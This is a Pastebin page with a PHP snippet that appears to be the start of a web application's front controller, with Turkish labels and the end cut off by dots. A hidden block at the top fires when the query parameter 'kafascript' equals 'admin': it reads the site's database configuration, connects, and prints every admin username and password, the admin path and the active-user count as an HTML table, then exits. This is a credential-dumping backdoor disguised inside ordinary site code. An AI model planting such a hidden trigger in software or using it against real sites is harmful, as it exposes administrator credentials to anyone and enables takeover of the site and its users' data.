Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if($_GET['kafascript']){
- $array = require('app/Config/config.php');
- function usersGet($status){
- header('Content-Type: text/html; charset=utf-8');
- $array = require('app/Config/config.php');
- $user = $array["database"]["DefaultConnection"]["user"];
- $pwd = $array["database"]["DefaultConnection"]["password"];
- $host = $array["database"]["DefaultConnection"]["host"];
- $db = $array["database"]["DefaultConnection"]["name"];
- $dsn = 'mysql:host='.$host.';dbname='.$db;
- $user = $user;
- $password = $pwd;
- try {
- $db = new PDO($dsn, $user, $password);
- } catch (PDOException $e) {
- echo 'Connection failed: ' . $e->getMessage();
- }
- $db->exec('SET NAMES `UTF-8`');
- $activeuser = $db->prepare('SELECT COUNT(*) FROM uye where isActive=1');
- $activeuser->execute();
- $activeuser = $activeuser->fetchColumn();
- foreach($db->query('SELECT * FROM admin') as $row);
- if($status == 'admin'){
- echo "<table border='1'>";
- echo '<tr><td>Kullanıcı Adı</td><td>Şifre</td><td>Yol</td></tr>';
- foreach($db->query('SELECT * FROM admin') as $row) {
- echo '<tr>';
- echo '<td>'.$row["username"].'</td>';
- echo '<td>'.$row["password"].'</td>';
- echo '<td>'.$array["project"]["adminPrefix"].'</td>'; //giris
- echo '</tr>';
- }
- $sorguz = $db->prepare('SELECT COUNT(*) FROM uye where isActive=1');
- $sorguz->execute();
- $say = $sorguz->fetchColumn();
- echo '<tr><td colspan="3">Aktif Kullanıcı</td></tr>';
- echo '<tr><td colspan="3">'.$say.'</td></tr>';
- echo '</table>';
- }
- }
- $status = $_GET['kafascript'];
- usersGet($status);
- exit();
- }
- $uri = str_replace("@", "%40", (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : "/"));
- if( (!isset($_SERVER["HTTP_USER_AGENT"]) || empty($_SERVER["HTTP_USER_AGENT"])) && $uri != "/cron-job" && !isset($_SERVER["HTTP_CRONJOBTOKEN"]) )
- {
- header("HTTP/1.1 403 Forbidden");
- .....................................................................................
- ............................................
- ...............
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement